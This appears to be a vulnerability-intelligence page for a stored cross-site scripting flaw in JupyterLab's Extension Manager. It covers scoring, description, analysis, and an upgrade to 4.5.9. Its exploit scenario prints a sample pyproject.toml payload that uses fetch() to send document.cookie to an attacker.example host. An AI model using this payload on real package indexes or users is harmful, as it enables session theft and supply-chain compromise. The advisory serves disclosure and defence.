Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
PR:L reflects PyPI account requirement; S:C because XSS runs in JupyterLab origin with potential Jupyter server API access; UI:R for required click; no availability impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
JupyterLab before 4.5.9 contains a stored cross-site scripting vulnerability in the Extension Manager that fails to validate URI protocols in package metadata URLs. Attackers can publish malicious PyPI packages with javascript: URLs in project metadata that execute arbitrary JavaScript in the JupyterLab origin when users click the extension name.
AnalysisAI
Stored cross-site scripting in JupyterLab's Extension Manager allows an attacker who publishes a malicious PyPI package to execute arbitrary JavaScript in the JupyterLab browser origin. The frontend in widget.tsx renders PyPI package metadata URLs as raw anchor hrefs without protocol validation, so a javascript: URL placed in [project.urls] metadata fires the moment a victim clicks the extension name. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The Extension Manager must be enabled (it is on by default in JupyterLab) and must be configured to use the public PyPI source (the default). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 5.1 (Medium) accurately reflects the structural constraints: PR:L captures that PyPI account registration, while trivial, is a nonzero barrier, and UI:P correctly models the required click. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker registers a free PyPI account and publishes a package - plausibly named to resemble a legitimate Jupyter extension - with `[project.urls] Homepage = javascript:fetch('https://attacker.example/steal?c='+document.cookie)` in its pyproject.toml. When a JupyterLab user searches the Extension Manager and clicks the extension name, the payload fires in the JupyterLab origin and exfiltrates session cookies or issues authenticated requests to the Jupyter server API. … |
| Remediation | Upgrade JupyterLab to version 4.5.9 or later using `pip install --upgrade jupyterlab`; this is the vendor-released patch per the GHSA advisory at https://github.com/jupyterlab/jupyterlab/security/advisories/GHSA-vmhf-c436-hxj4, incorporating commits 4e61e07 and d5d961f. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Jupyterlab
View allJupyterLab extension template is a `copier` template for JupyterLab extensions. Rated critical severity (CVSS 9.8), this
JupyterLab is a user interface for Project Jupyter which will eventually replace the classic Jupyter Notebook. Rated cri
JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook and Ar
jupyterlab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Archit
JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook and Ar
Plugin lock-rule enforcement bypass in JupyterLab (pip package, versions >=4.1.0,<=4.5.9 and >=4.6.0,<=4.6.1) allows aut
Allowlist/blocklist bypass in JupyterLab's PyPIExtensionManager.install() allows unauthorized pip packages to be install
jupyterlab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Archit
Vendor StatusVendor
SUSE
Severity: ModerateShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-51849
GHSA-r75g-r7w6-363h